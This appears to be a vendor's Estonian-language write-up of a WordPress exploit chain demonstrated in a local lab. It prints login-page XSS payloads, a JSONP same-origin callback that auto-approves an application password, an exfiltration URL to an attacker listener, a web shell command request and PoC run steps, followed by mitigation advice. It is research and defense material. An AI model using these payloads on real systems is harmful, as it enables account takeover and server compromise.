XSS2Shell: nullist shellini WordPressis

Praktiline juhend autentimiseelse XSS-ahela kohta, mis võib viia kaugkoodi täitmiseni WordPressi tuumas, demonstreeritud kohalikus Docker-laboris.

Ainult volitatud katsetamine.

Kõik allpool kirjeldatu viidi läbi kohaliku labori vastu (WordPress 7.0.2 aadressil localhos). Ärge kasutage neid tehnikaid süsteemide vastu, mida te ei oma või millel pole teil selgesõnalist testimisluba.

Kokkuvõte

XSS2Shell ei ole üksik viga — see on seitsmeastmeline ärakasutamisahel, mis algab ühe märgiga (< millele järgneb tühik), möödudes kahest erinevast HTML-parserist WordPressi sisselogimislehel, ja lõpeb PHP käivitamisega serveris kasutajana www-data.

Miks see on ohtlik:

  1. 1. etapp ei nõua mingit autentimist — igaüks saab käivitada JavaScripti lehel wp-login.php.
  2. See asub WordPressi tuumikus — mitte pistikprogrammis; peaaegu kõik toetatud installid alates 2016. aastast on mõjutatud.
  3. See kasutab WordPressi enda koodi — user-profile.js, REST JSONP, rakenduseparoolid, pistikprogrammi üleslaadimine — tööriistadena.
  4. Täielik RCE on demonstreeritud ja WordPress on seda tunnistanud — kuigi see nõuab sisselogitud administraatori meelitamist ühe klikiga.

Käesolevas artiklis kirjeldatakse iga etappi meie kohaliku laboratooriumi ekraanipiltide abil.

Laborikeskond

git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 aadressil http://localhost:9080
ComponentURLCredentials
Vulnerable WordPresshttp://localhost:9080admin / admin123!
Patched comparisonhttp://localhost:9081(optional)
Attacker listenerhttp://127.0.0.1:9090started by PoC script

WordPress login page — the attack surface
WordPress login page — the attack surface

Igal WordPressi veebisaidil on avatud fail /wp-login.php. See lehekülg on kogu ahela sissepääsupunkt.

0. etapp: analüsaatori erinevus (põhjus)

Kui sisselogimine ebaõnnestub, kuvab WordPress veateates sisestatud kasutajanime. Kasutajanimi läbib kaks saniteerijat, mis ei nõustu omavahel selles, mis on "silt":

LayerFunctionSees < area as…
PHPstrip_tags()Plain text (space after < = not a tag)
WordPress KSESwp_kses_post()Valid HTML element

Päis kasutab tühikut pärast<:

< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

Haavatavas WordPressi versioonis 7.0.2 jääb see puhastamisest puutumata ja muutub aktiivseks DOM-iks:

./scripts/demo-parser-diff.sh http://localhost:9080
Terminal output showing injected HTML elements in the response
Terminal output showing injected HTML elements in the response

Parandatud WordPressi versioonis 7.0.4 on sama kasulik koormus veateates HTML-koodiga esitatud – seal ei ole aktiivseid elemente.

See viga on eksisteerinud alates WordPress 4.7-st (2016) ja on jäänud märkamata aastatepikkustes turvaauditites.

1. etapp: autentimiseelne XSS (sisselogimist ei nõuta)

Sisestatud DOM-sõlmed vastavad valijatele, mida WordPressi enda fail „user-profile.js“ otsib sisselogimislehel (mis laaditakse parooli taastamise protsessi käigus):

  1. .reset-pass-submit .wp-generate-pw klõpsitakse automaatselt lehe laadimisel
  2. Klõps suunab #color-picker'ile delegeeritud käitleja juurde
  3. Guard check user_id === checkuser_id läbib kontrolli, kuna mõlemad on määratlemata
  4. jQuery saadab POST-päringu aadressile ajaxurl — kuid seda aadressi ei ole sisselogimislehel olemas…

Kui me seda just maha ei löö:

<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>

Element <area id=ajaxurl> muutub window.ajaxurl-iks. jQuery kutsub .toString() → tagastab href. WordPress REST tagastab JSONP → jQuery globalEval() → alert()käivitatakse WordPressi päritolul.

Stage 1 demo page
Stage 1 demo page

Esitage vorm (või avage demo/stage1-preauth-xss.html ja klõpsake Käivita 1. etapp):

Login page after XSS payload — injected markup reflected in error, JS executes
Login page after XSS payload — injected markup reflected in error, JS executes

Mõju ainuüksi sellel etapil: mandaatide andmepüük reaalses domeenis, seansi kasutamine, sama päritoluga API kutsed — ilma igasuguse autentimiseta.

2. etapp: Sotsiaalne insenerlus — administraatori klõps

Etapid 2–7 nõuavad, et sisselogitud administraator avaks ründaja kontrollitud lehe. See on hõõre, mis hoiab CVSS-i alla 10 — kuid on suunatud rünnakute puhul realistlik.

Administraator võib saada: "Teie seanss aegus — klõpsake siia uuesti autentimiseks."

Simulated phishing lure page
Simulated phishing lure page

Kui sellele klõpsatakse, avaneb ründaja lehekülg:

  1. Avab alamhüpikakna (about:blank)
  2. Suunab põhiakna WordPressi rakenduseparooli autoriseerimislehele
  3. Kirjutab XSS-vormi alampop-up-aknasse ja saadab selle automaatselt aadressile wp-login.php
Admin dashboard — victim is already logged in
Admin dashboard — victim is already logged in

3. etapp: sama päritolu meetodi rakendamine (SOME) — automaatne heakskiitmine

Allakna XSS-koormus muudab JSONP-tagasikõne „alert “-ist järgmiseks:

window.opener.approve.click

WordPress REST pakendab vastuse:

/**/window.opener.approve.click({...})

Käitusaeg lahendab window.opener (põhiaken) → .approve (nupp #approve) → .click(). Rakenduseparooli Kinnita nuppu klõpsatakse automaatselt — ilma igasuguse kasutaja sekkumiseta sellel lehel.

Application Password authorization page — the approve button (id=approve) is the SOME target
Application Password authorization page — the approve button (id=approve) is the SOME target

Pöörake tähelepanu lehel olevale tagasikõne-URL-ile: kasutajatunnused saadetakse aadressile http://127.0.0.1:9090/callback?...&password=[------].

4. etapp: Rakenduse parooli salvestamine

WordPress loob uue rakenduse parooli ja suunab kasutaja ründaja poolt määratud aadressile `success_url`, kus parool on lisatud päringustringisse:

http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXX

Ründajal on nüüd HTTP Basicu autentimise mandaadid WordPressi REST API jaoks — administraatori enda seansist, ilma et administraator oleks pärast esialgset lingi klõpsamist midagi trükkinud.

5. etapp: ründaja kontrolli all oleva lehekülje avaldamine

Kasutades varastatud rakenduse parooli, saadab ründaja POST-päringu aadressile /wp-json/wp/v2/pages ja avaldab lehe, millesse on sisse ehitatud JavaScript. Halduritel on õigus „unfiltered_html” – skriptimärgid jäävad alles.

6. etapp: Pistikprogrammi üleslaadimine administraatori kontoga

Ründaja JavaScript (mis töötab administraatori brauseris avaldatud lehel):

  1. Laadib alla faili /wp-admin/plugin-install.php?tab=upload, et saada üleslaadimise nonce
  2. POST-meetodiga saadetakse pahatahtlik ZIP-fail aadressile /wp-admin/update.php?action=upload-plugin
  3. WordPress salvestab selle kataloogi wp-content/plugins/xss2shell/

Pistikprogrammi ei pea aktiveerima. Pistikprogrammide kataloogis olevad PHP-failid on otse veebist ligipääsetavad.

7. etapp: Koodi kaugkäivitamine

GET /wp-content/plugins/xss2shell/shell.php?cmd=whoami

Vastus:

{ "rce": true, "user": "www-data", "output": "www-data\n" }
Shell endpoint returning command output
Shell endpoint returning command output

Ründaja käivitab nüüd veebiserveri kasutajana suvalisi käske – loeb faili wp-config.php (andmebaasi kasutajatunnused), teeb andmebaasist väljavõtte ja liigub horisontaalselt edasi.

PoC-terminali väljundi täielik tekst:

XSS2Shell PoC completing the chain
XSS2Shell PoC completing the chain

Kogu ahel ülevaatlikult

sequenceDiagram participant A as Ründaja server participant V as Ohvri brauser participant W as WordPress 7.0.2 Note over V,W: Administraator on sisse logitud V->>A: Avab andmepüügilingi (1 klikk) A->>V: Ründaja HTML + alamhüpikaken V->>W: Põhiaken → authorize-application.php V->>W: Alamaken saadab POST-iga XSS-päise wp-login.php-le W->>V: JSONP käivitab window.opener.approve.click Note over V,W: Kinnita-nuppu klõpsatakse automaatselt W->>A: Ümbersuunamine koos rakenduseparooliga A->>W: REST API avaldab lehe (Basicu auth) V->>W: Administraator külastab lehte → laadib üles pistikprogrammi ZIP-i V->>W: GET shell.php?cmd=whoami W-->>A: www-data

Kui ohtlik see tegelikult on?

Mis on kindel (suur kindlus)

PropertyValue
Authentication for XSSNone
Affected installsAll WordPress 4.7+ before patch
Default-config exploitabilityStage 1 works out of the box
User interaction for XSSVictim visits attacker URL

Mis nõuab täiendavaid tingimusi (RCE-tee)

ConditionNotes
Logged-in administratorMust have active WP session
Social engineeringAdmin must click attacker link
Application Passwords enabledDefault since WP 5.6; needs HTTPS or local env
Popup not blockedBrowser must allow window.open from user gesture

Raskusastme kalibreerimine

MetricValueInterpretation
CVSS 4.08.9 HighFull chain impact scored; not Critical because of UI:A
CVSS 3.16.1 MediumOlder scoring undervalues chained impact
EPSS~0.77%Low predicted mass exploitation (Aug 2026)
CISA KEVNot listedNo confirmed in-the-wild mass exploitation yet
Public PoCsMultiple on GitHubExploitation window may shrink

Kokkuvõttes: See ei ole ussitav nullklikiga RCE nagu Log4Shell. See on sügavalt tehniline, tuumiku tasandi haavatavus, mis mõjutab ~43% veebist, kus:

  • 1. etapp üksi on tõsine eelautentimise XSS sisselogimislehel
  • Täielik ahel muudab ühe administraatori klõpsu serveri kompromiteerimiseks
  • Algpõhjus (parseri erinevus) kehtib iga koodialuse kohta, mis kasutab mitut HTML-parserit

WordPressi enda turvahoiatus märgib, et kaugkoodi käivitamine nõuab "ründajast sõltumatuid tingimusi" ja "edukat sotsiaalset manipuleerimist." See on täpne — kuid demonstreeritud ahel muudab need tingimused ühe lingiga saavutatavaks.

Kopeeri kogu ahel kohalikult

# 1. Käivita labor # 2. Luba rakenduseparoolid HTTP-l (ainult laboris) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Käivita PoC kuulaja python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Brauseris: # a. Logi sisse administraatorina aadressil http://localhost:9080/wp-login.php # b. Ava http://127.0.0.1:9091/phishing-sim.html # c. Klõpsa "Open attacker page" (luba hüpikaknad) # d. Oota terminali väljundit, mis näitab shelli + whoami

Kaitse

PriorityAction
ImmediateUpdate to WordPress 7.0.3 or your branch's patched release (full list)
Verify./scripts/demo-parser-diff.sh should show no injected elements
HardenDisable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins
MonitorWatch for failed-login usernames containing < area patterns
WAFBlock < area / < div patterns on wp-login.php POST bodies

Parandus lisab funktsiooni esc_html() kasutajanime juurde sisselogimise veateate korral, tagades, et seda stringi käsitletakse tekstina, mitte ei analüüsita uuesti HTML-ina.

Miks see on turvalisuse uurimise seisukohalt oluline

Iga lüli selles ahelas on eraldi võttes igav:

  • Parseri erinevus → madala tõsidusastmega hooldustööd
  • Sisselogimislehele on laaditud vale skript → madal
  • JSONP-tagasikõne valideerimine regulaaravaldisega → keskmise raskusastmega
  • Rakenduse parool suunamis-URL-is → medium
  • Pluginakataloog käivitab PHP-koodi ilma aktiveerimiseta → teadaolev disainilahendus

Kokkuvõttes on tegemist CVSS-i hindega 8,9 ja shelliga.

Õppetund: XSS-leideid hinnates küsi "mis on sellel lehel juba laaditud ja mida see teeb, kui annan sellele õiged DOM-sõlmed?" Tõsidus on ahela, mitte üksiku vea omadus.

Viited

Vali piirkond ja keel

Piirkond
Keel
Kas soovite näha, kuidas CyberTested töötab?
Broneeri tasuta tutvustus